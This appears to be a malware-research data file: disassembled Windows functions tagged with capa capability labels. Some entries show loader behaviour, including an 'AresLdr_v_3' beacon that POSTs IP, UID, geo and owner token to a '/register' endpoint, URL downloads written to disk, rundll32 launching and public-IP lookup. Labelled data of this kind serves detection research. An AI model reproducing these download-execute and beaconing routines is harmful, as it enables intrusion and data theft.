joyce8/EMBER2024-capa huggingface dataset:
Function at 0x428c90
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x48], ecx
cmp dword [ebp + 8], 0
je 0x428cb4
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x4c], 0
jmp 0x428cbe
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x4c], 0xff
mov ecx, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp - 0x14]
add ecx, 0x24
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t______thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::operator_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t___const__]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 0x14]
mov dword [edx + 0x50], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 0x18]
mov dword [ecx + 0x54], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0x1c]
mov dword [eax + 0x58], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 0x20]
mov dword [edx + 0x5c], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 0x10]
mov dword [ecx + 0x40], edx
mov ecx, dword [ebp + 0xc]
call dword [sym.imp.MSVCP80.dll_public:_wchar_t_const____thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::c_str_void_const]
call fcn.00409c60
test eax, eax
jne 0x428d14
xor eax, eax
jmp 0x428de1
push 1
mov eax, dword [ebp - 0x14]
add eax, 0x64
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x428dc9
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x44], 0
jne 0x428d77
push 0x34
call sub.MSVCR80.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x428d61
mov eax, dword [ebp - 0x10]
call fcn.004185a0
mov dword [ebp - 0x18], eax
jmp 0x428d68
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov dword [edx + 0x44], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push 4
mov edx, dword [ebp - 0x14]
push edx
push 0x428af0
push 0
push 0
call dword [sym.imp.MSVCR80.dll__beginthreadex]
add esp, 0x18
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 8], eax
mov edx, dword [ebp - 0x14]
xor eax, eax
cmp dword [edx + 8], 0
setne al
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x428dc2
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 8]
jmp 0x428de1
push 1
mov eax, dword [ebp - 0x14]
add eax, 0x60
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, 1
jmp 0x428de1
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x429070
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
mov dword [ebp - 0x3c], ecx
push 1
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax + 0x60]
push ecx
mov edx, dword [ebp - 0x3c]
add edx, 0x60
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, 1
jne 0x429102
push 0
push 0
push 1
push 1
mov ecx, dword [ebp - 0x3c]
add ecx, 0x24
call dword [sym.imp.MSVCP80.dll_public:_wchar_t_const____thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::c_str_void_const]
push eax
mov eax, dword [ebp - 0x3c]
mov esi, dword [eax + 0x44]
call fcn.00418700
test eax, eax
jne 0x4290bf
jmp 0x4291f3
push 0
mov ecx, dword [ebp - 0x3c]
add ecx, 0x60
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
mov edx, dword [ebp - 0x3c]
add edx, 0x64
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 4
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 5
push 0x7ea
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x2c], 0x28
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax + 0x58]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx + 0x5c]
mov dword [ebp - 0x24], eax
mov word [ebp - 0x20], 1
mov word [ebp - 0x1e], 0x20
mov dword [ebp - 0x1c], 0
push 0
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0
lea edx, [ebp - 0x2c]
push edx
push 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx + 0x58]
push eax
push 0
mov ecx, dword [ebp - 0x3c]
mov edi, dword [ecx + 0x5c]
xor eax, eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx + 0x44]
call fcn.00418970
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx + 0x5c]
push edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax + 0x58]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.GDI32.dll_DeleteDC]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x42a810
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x43c01c]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x224], str.SoftwareMicrosoftInternet_Explorer
mov word [ebp - 0x220], 0
push 0x208
push 0
lea eax, [ebp - 0x21e]
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
mov dword [ebp - 8], 0
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
mov edx, dword [ebp - 0x224]
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x42a8ec
mov dword [ebp - 0x22c], 0x104
mov dword [ebp - 0x228], 1
lea eax, [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x228]
push edx
push 0
push str.Version
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x42a8d9
lea ecx, [ebp - 0x220]
push ecx
push str.GetInternetExplorerVersion_is__s
mov eax, 0xd1
mov ecx, 0x432518
call fcn.0041cc00
add esp, 8
mov dword [ebp - 8], 1
jmp 0x42a8e2
mov word [ebp - 0x220], 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x220]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCR80.dll_wcsncpy]
add esp, 0xc
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00422218
mov esp, ebp
pop ebp
ret
Function at 0x40172e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], 0x400
call fcn.004cb340
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 4], 0x4d6421
mov dword [esp], str.tzutil__g
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0xc]
nop
nop
leave
ret

Function at 0x401844
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x4c], 0x44
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], 1
lea eax, [ebp - 0x5c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
nop
leave
ret

Function at 0x401910
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x4c], 0x44
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x5c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
nop
leave
ret
Function at 0x4019dc
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x494
mov dword [ebp - 0x408], 0
lea edx, [ebp - 0x404]
mov eax, 0
mov ecx, 0xff
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.rundll32.exe__s__s
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x408]
mov dword [esp], eax
mov eax, dword [0x4d100c]
call eax
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x44c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x45c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x45c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x44c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x408]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov eax, dword [ebp - 0x45c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x458]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x401af9
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:106.0__Gecko_20100101_Firefox_106.
mov eax, dword [sym.imp.WININET.DLL_InternetOpenA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetOpenUrlA]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x4d6498
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401c31
mov dword [esp], 0x400
call fcn.004cb340
mov dword [ebp - 0x18], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetReadFile]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x401c1f
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
cmp dword [ebp - 0x18], 0
je 0x401b83
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.004cb310
jmp 0x401b83
cmp dword [ebp - 0x18], 0
je 0x401c30
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.004cb310
nop
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
nop
leave
ret
Function at 0x401c5f
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x40
mov dword [esp], 0x800
call fcn.004cb340
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x10]
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0xc]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 8]
mov eax, dword [ebp + 0xc]
mov edx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.__ip_:__s___UID_:__s___geo_:__s___service_:__s___owner_token_:__s_
mov dword [esp + 4], 0x800
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [0x4d100c]
call eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.AresLdr_v_3
mov eax, dword [sym.imp.WININET.DLL_InternetOpenA]
call eax
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x50
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetConnectA]
call eax
sub esp, 0x20
mov dword [ebp - 0x14], eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0x400000
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str._register
mov dword [esp + 4], str.POST
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_HttpOpenRequestA]
call eax
sub esp, 0x20
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_HttpSendRequestA]
call eax
sub esp, 0x14
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401dfe
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
jmp 0x401dff
nop
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x401e06
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:106.0__Gecko_20100101_Firefox_106.
mov eax, dword [sym.imp.WININET.DLL_InternetOpenA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.https:__ipinfo.io_ip
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetOpenUrlA]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4e2060
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetReadFile]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x401ed0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, str.Unknown
jmp 0x401ef6
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, 0x4e2060
nop
leave
ret

Function at 0x401ef8
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp], 0x400
call fcn.004cb340
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_memset
call fcn.004016f5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.C:Users_sAppDataRoaming_s
mov dword [esp + 4], 0x400
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [0x4d100c]
call eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call eax
sub esp, 8
nop
leave
ret

Function at 0x40b2c0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004220b0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004220b0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x40b320
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x4e2494]
test esi, esi
jle 0x40b440
mov eax, dword [0x4e2498]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x40b354
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40b3d7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x40b340
mov dword [esp], ebx
call fcn.0040bc80
mov edi, eax
test eax, eax
je 0x40b467
mov eax, dword [0x4e2498]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.0040bdc0
mov edx, dword [0x4e2498]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40b447
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40b3d0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40b3e0
add dword [0x4e2494], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x4e2498]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40b3d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0040b2c0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40b35e
mov eax, dword [0x4e2498]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0040b2c0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0040b2c0
lea esi, [esi]
nop

Function at 0x40b900
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4e24b0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4e24a8]
sub esp, 4
test ebx, ebx
je 0x40b955
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40b94e
test esi, esi
je 0x40b94e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40b930
mov dword [esp], 0x4e24b0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40bc80
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x40bca5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x40bcb0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x40bca5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x40bcf8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40bcee
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40bcfa
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x40bce0
xor eax, eax
pop ebx
pop esi
ret

Function at 0x40c1e0
Capabilities:
Print debug messages

Disassembly:
push esi
push ebx
mov ebx, eax
sub esp, 0x34
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40c200
add esp, 0x34
pop ebx
pop esi
ret
lea edx, [esp + 0x2c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x400
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1100
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
sub esp, 0x1c
test eax, eax
jne 0x40c250
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c1f1
int3
mov eax, dword [esp + 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [esp], eax
call esi
sub esp, 4
mov dword [esp], ebx
call esi
sub esp, 4
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
sub esp, 4
jmp 0x40c240